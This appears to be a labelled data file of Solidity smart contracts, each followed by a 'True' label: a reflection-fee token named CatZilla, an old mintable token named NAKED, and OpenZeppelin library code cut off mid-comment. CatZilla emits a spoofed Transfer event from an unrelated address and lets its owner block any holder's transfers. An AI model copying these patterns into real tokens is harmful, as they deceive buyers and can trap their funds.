function allowance(address _owner, address _spender) constant returns (uint remaining) {
return allowed[_owner][_spender];
}
event Transfer(address indexed _from, address indexed _to, uint _value);
event Approval(address indexed _owner, address indexed _spender, uint _value);
}
|
True
|
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/**
*/
pragma solidity ^0.8.4;
// SPDX-License-Identifier: UNLICENSED
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract CatZilla is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => bool) private bots;
mapping (address => uint) private cooldown;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1000000000000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _feeAddr1;
uint256 private _feeAddr2;
address payable private _feeAddrWallet1;
address payable private _feeAddrWallet2;
string private constant _name = "CatZilla";
string private constant _symbol = "CATZILLA";
uint8 private constant _decimals = 9;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
bool private cooldownEnabled = false;
uint256 private _maxTxAmount = _tTotal;
event MaxTxAmountUpdated(uint _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor () {
_feeAddrWallet1 = payable(0x71FF9c9F15bbC942CfEbB7bbFa650be0CA06a423);
_feeAddrWallet2 = payable(0x71FF9c9F15bbC942CfEbB7bbFa650be0CA06a423);
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_feeAddrWallet1] = true;
_isExcludedFromFee[_feeAddrWallet2] = true;
emit Transfer(address(0x8fC8338E2E738Ec13AF3866baF3Da1161aA5E612), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function setCooldownEnabled(bool onoff) external onlyOwner() {
cooldownEnabled = onoff;
}
function tokenFromReflection(uint256 rAmount) private view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
_feeAddr1 = 2;
_feeAddr2 = 5;
if (from != owner() && to != owner()) {
require(!bots[from] && !bots[to]);
if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && cooldownEnabled) {
// Cooldown
require(amount <= _maxTxAmount);
require(cooldown[to] < block.timestamp);
cooldown[to] = block.timestamp + (30 seconds);
}
if (to == uniswapV2Pair && from != address(uniswapV2Router) && ! _isExcludedFromFee[from]) {
_feeAddr1 = 3;
_feeAddr2 = 9;
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && from != uniswapV2Pair && swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if(contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
_tokenTransfer(from,to,amount);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_feeAddrWallet1.transfer(amount.div(2));
_feeAddrWallet2.transfer(amount.div(2));
}
function openTrading() external onlyOwner() {
require(!tradingOpen,"trading is already open");
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
swapEnabled = true;
cooldownEnabled = true;
_maxTxAmount = 25000000000000000 * 10**9;
tradingOpen = true;
IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
}
function setBots(address[] memory bots_) public onlyOwner {
for (uint i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function delBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(address sender, address recipient, uint256 amount) private {
_transferStandard(sender, recipient, amount);
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function manualswap() external {
require(_msgSender() == _feeAddrWallet1);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _feeAddrWallet1);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _feeAddr1, _feeAddr2);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) {
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
}
|
True
|
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pragma solidity ^0.4.18;
/**
* Math operations with safety checks
* By OpenZeppelin: https://github.com/OpenZeppelin/zeppelin-solidity/contracts/SafeMath.sol
*/
library SafeMath {
function mul(uint256 a, uint256 b) internal returns (uint256) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint256 a, uint256 b) internal returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
function max64(uint64 a, uint64 b) internal constant returns (uint64) {
return a >= b ? a : b;
}
function min64(uint64 a, uint64 b) internal constant returns (uint64) {
return a < b ? a : b;
}
function max256(uint256 a, uint256 b) internal constant returns (uint256) {
return a >= b ? a : b;
}
function min256(uint256 a, uint256 b) internal constant returns (uint256) {
return a < b ? a : b;
}
}
contract ContractReceiver{
function tokenFallback(address _from, uint256 _value, bytes _data) external;
}
//Basic ERC23 token, backward compatible with ERC20 transfer function.
//Based in part on code by open-zeppelin: https://github.com/OpenZeppelin/zeppelin-solidity.git
contract ERC23BasicToken {
using SafeMath for uint256;
uint256 public totalSupply;
mapping(address => uint256) balances;
event Transfer(address indexed from, address indexed to, uint256 value);
event Transfer(address indexed from, address indexed to, uint256 value, bytes data);
function tokenFallback(address _from, uint256 _value, bytes _data) external {
throw;
}
function transfer(address _to, uint256 _value, bytes _data) returns (bool success) {
//Standard ERC23 transfer function
if(isContract(_to)) {
transferToContract(_to, _value, _data);
}
else {
transferToAddress(_to, _value, _data);
}
return true;
}
function transfer(address _to, uint256 _value) {
//standard function transfer similar to ERC20 transfer with no _data
//added due to backwards compatibility reasons
bytes memory empty;
if(isContract(_to)) {
transferToContract(_to, _value, empty);
}
else {
transferToAddress(_to, _value, empty);
}
}
function transferToAddress(address _to, uint256 _value, bytes _data) internal {
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(msg.sender, _to, _value);
Transfer(msg.sender, _to, _value, _data);
}
function transferToContract(address _to, uint256 _value, bytes _data) internal {
balances[msg.sender] = balances[msg.sender].sub( _value);
balances[_to] = balances[_to].add( _value);
ContractReceiver receiver = ContractReceiver(_to);
receiver.tokenFallback(msg.sender, _value, _data);
Transfer(msg.sender, _to, _value);
Transfer(msg.sender, _to, _value, _data);
}
function balanceOf(address _owner) constant returns (uint256 balance) {
return balances[_owner];
}
//assemble the given address bytecode. If bytecode exists then the _addr is a contract.
function isContract(address _addr) returns (bool is_contract) {
uint256 length;
assembly {
//retrieve the size of the code on target address, this needs assembly
length := extcodesize(_addr)
}
if(length>0) {
return true;
}
else {
return false;
}
}
}
// Standard ERC23 token, backward compatible with ERC20 standards.
// Based on code by open-zeppelin: https://github.com/OpenZeppelin/zeppelin-solidity.git
contract ERC23StandardToken is ERC23BasicToken {
mapping (address => mapping (address => uint256)) allowed;
event Approval (address indexed owner, address indexed spender, uint256 value);
function transferFrom(address _from, address _to, uint256 _value) {
var _allowance = allowed[_from][msg.sender];
// Check is not needed because sub(_allowance, _value) will already throw if this condition is not met
// if (_value > _allowance) throw;
balances[_to] = balances[_to].add(_value);
balances[_from] = balances[_from].sub(_value);
allowed[_from][msg.sender] = _allowance.sub(_value);
Transfer(_from, _to, _value);
}
function approve(address _spender, uint256 _value) {
// To change the approve amount you first have to reduce the addresses`
// allowance to zero by calling `approve(_spender, 0)` if it is not
// already 0 to mitigate the race condition described here:
// https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
if ((_value != 0) && (allowed[msg.sender][_spender] != 0)) throw;
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
}
function allowance(address _owner, address _spender) constant returns (uint256 remaining) {
return allowed[_owner][_spender];
}
}
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
function Ownable() {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) onlyOwner public {
require(newOwner != address(0));
OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
/**
* @title Mintable token
* @dev Simple ERC20 Token example, with mintable token creation
* @dev Issue: * https://github.com/OpenZeppelin/zeppelin-solidity/issues/120
* Based on code by TokenMarketNet: https://github.com/TokenMarketNet/ico/blob/master/contracts/MintableToken.sol
*/
contract MintableToken is ERC23StandardToken, Ownable {
event Mint(address indexed to, uint256 amount);
event MintFinished();
bool public mintingFinished = false;
modifier canMint() {
require(!mintingFinished);
_;
}
/**
* @dev Function to mint tokens
* @param _to The address that will receive the minted tokens.
* @param _amount The amount of tokens to mint.
* @return A boolean that indicates if the operation was successful.
*/
function mint(address _to, uint256 _amount) onlyOwner canMint public returns (bool) {
totalSupply = totalSupply.add(_amount);
balances[_to] = balances[_to].add(_amount);
Mint(_to, _amount);
Transfer(0x0, _to, _amount);
return true;
}
/**
* @dev Function to stop minting new tokens.
* @return True if the operation was successful.
*/
function finishMinting() onlyOwner public returns (bool) {
mintingFinished = true;
MintFinished();
return true;
}
}
contract NAKED is MintableToken {
string public name="NAKED";
string public symbol="NKD";
uint8 public decimals=18;
}
|
True
|
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pragma solidity ^0.8.0;
/**
* @title Counters
* @author Matt Condon (@shrugs)
* @dev Provides counters that can only be incremented, decremented or reset. This can be used e.g. to track the number
* of elements in a mapping, issuing ERC721 ids, or counting request ids.
*
* Include with `using Counters for Counters.Counter;`
*/
library Counters {
struct Counter {
// This variable should never be directly accessed by users of the library: interactions must be restricted to
// the library's function. As of Solidity v0.5.2, this cannot be enforced, though there is a proposal to add
// this feature: see https://github.com/ethereum/solidity/issues/4637
uint256 _value; // default: 0
}
function current(Counter storage counter) internal view returns (uint256) {
return counter._value;
}
function increment(Counter storage counter) internal {
unchecked {
counter._value += 1;
}
}
function decrement(Counter storage counter) internal {
uint256 value = counter._value;
require(value > 0, "Counter: decrement overflow");
unchecked {
counter._value = value - 1;
}
}
function reset(Counter storage counter) internal {
counter._value = 0;
}
}
// File: @openzeppelin/contracts/access/Ownable.sol
pragma solidity ^0.8.0;
/*
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
}
pragma solidity ^0.8.0;
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor() {
_setOwner(_msgSender());
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view virtual returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
_setOwner(address(0));
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
_setOwner(newOwner);
}
function _setOwner(address newOwner) private {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}
// File: @openzeppelin/contracts/token/ERC721/extensions/ERC721URIStorage.sol
// File: @openzeppelin/contracts/token/ERC721/extensions/IERC721Enumerable.sol
pragma solidity ^0.8.0;
// File: @openzeppelin/contracts/utils/introspection/IERC165.sol
pragma solidity ^0.8.0;
/**
* @dev Interface of the ERC165 standard, as defined in the
* https://eips.ethereum.org/EIPS/eip-165[EIP].
*
* Implementers can declare support of contract interfaces, which can then be
* queried by others ({ERC165Checker}).
*
* For an implementation, see {ERC165}.
*/
interface IERC165 {
/**
* @dev Returns true if this contract implements the interface defined by
* `interfaceId`. See the corresponding
* https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section]
* to learn more about how these ids are created.
*
* This function call must use less than 30 000 gas.
*/
function supportsInterface(bytes4 interfaceId) external view returns (bool);
}
// File: @openzeppelin/contracts/utils/introspection/ERC165.sol
pragma solidity ^0.8.0;
/**
* @dev Implementation of the {IERC165} interface.
*
* Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check
* for the additional interface id that will be supported. For example:
*
* ```solidity
* function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
* return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId);
* }
* ```
*
* Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation.
*/
abstract contract ERC165 is IERC165 {
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
return interfaceId == type(IERC165).interfaceId;
}
}
// File: @openzeppelin/contracts/utils/Strings.sol
pragma solidity ^0.8.0;
/**
* @dev String operations.
*/
library Strings {
bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef";
/**
* @dev Converts a `uint256` to its ASCII `string` decimal representation.
*/
function toString(uint256 value) internal pure returns (string memory) {
// Inspired by OraclizeAPI's implementation - MIT licence
// https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol
if (value == 0) {
return "0";
}
uint256 temp = value;
uint256 digits;
while (temp != 0) {
digits++;
temp /= 10;
}
bytes memory buffer = new bytes(digits);
while (value != 0) {
digits -= 1;
buffer[digits] = bytes1(uint8(48 + uint256(value % 10)));
value /= 10;
}
return string(buffer);
}
/**
* @dev Converts a `uint256` to its ASCII `string` hexadecimal representation.
*/
function toHexString(uint256 value) internal pure returns (string memory) {
if (value == 0) {
return "0x00";
}
uint256 temp = value;
uint256 length = 0;
while (temp != 0) {
length++;
temp >>= 8;
}
return toHexString(value, length);
}
/**
* @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length.
*/
function toHexString(uint256 value, uint256 length) internal pure returns (string memory) {
bytes memory buffer = new bytes(2 * length + 2);
buffer[0] = "0";
buffer[1] = "x";
for (uint256 i = 2 * length + 1; i > 1; --i) {
buffer[i] = _HEX_SYMBOLS[value & 0xf];
value >>= 4;
}
require(value == 0, "Strings: hex length insufficient");
return string(buffer);
}
}
// File: @openzeppelin/contracts/utils/Context.sol
// File: @openzeppelin/contracts/utils/Address.sol
pragma solidity ^0.8.0;
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
assembly {
size := extcodesize(account)
}
return size > 0;
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
(bool success, ) = recipient.call{value: amount}("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain `call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value
) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value,
string memory errorMessage
) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
(bool success, bytes memory returndata) = target.call{value: value}(data);
return _verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(
address target,
bytes memory data,
string memory errorMessage
) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
(bool success, bytes memory returndata) = target.staticcall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
(bool success, bytes memory returndata) = target.delegatecall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function _verifyCallResult(
bool success,
bytes memory returndata,
string memory errorMessage
) private pure returns (bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
// File: @openzeppelin/contracts/token/ERC721/IERC721Receiver.sol
pragma solidity ^0.8.0;
/**
* @title ERC721 token receiver interface
* @dev Interface for any contract that wants to support safeTransfers
* from ERC721 asset contracts.
*/
interface IERC721Receiver {
/**
* @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom}
* by `operator` from `from`, this function is called.
*
* It must return its Solidity selector to confirm the token transfer.
* If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted.
*
* The selector can be obtained in Solidity with `IERC721.onERC721Received.selector`.
*/
function onERC721Received(
address operator,
address from,
uint256 tokenId,
bytes calldata data
) external returns (bytes4);
}
// File: @openzeppelin/contracts/token/ERC721/IERC721.sol
pragma solidity ^0.8.0;
/**
* @dev Required interface of an ERC721 compliant contract.
*/
interface IERC721 is IERC165 {
/**
* @dev Emitted when `tokenId` token is transferred from `from` to `to`.
*/
event Transfer(address indexed from, address indexed to, uint256 indexed tokenId);
/**
* @dev Emitted when `owner` enables `approved` to manage the `tokenId` token.
*/
event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId);
/**
* @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets.
*/
event ApprovalForAll(address indexed owner, address indexed operator, bool approved);
/**
* @dev Returns the number of tokens in ``owner``'s account.
*/
function balanceOf(address owner) external view returns (uint256 balance);
/**
* @dev Returns the owner of the `tokenId` token.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function ownerOf(uint256 tokenId) external view returns (address owner);
/**
* @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients
* are aware of the ERC721 protocol to prevent tokens from being forever locked.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId
) external;
/**
* @dev Transfers `tokenId` token from `from` to `to`.
*
* WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must be owned by `from`.
* - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.
*
* Emits a {Transfer} event.
*/
function transferFrom(
address from,
address to,
uint256 tokenId
) external;
/**
* @dev Gives permission to `to` to transfer `tokenId` token to another account.
* The approval is cleared when the token is transferred.
*
* Only a single account can be approved at a time, so approving the zero address clears previous approvals.
*
* Requirements:
*
* - The caller must own the token or be an approved operator.
* - `tokenId` must exist.
*
* Emits an {Approval} event.
*/
function approve(address to, uint256 tokenId) external;
/**
* @dev Returns the account approved for `tokenId` token.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function getApproved(uint256 tokenId) external view returns (address operator);
/**
* @dev Approve or remove `operator` as an operator for the caller.
* Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller.
*
* Requirements:
*
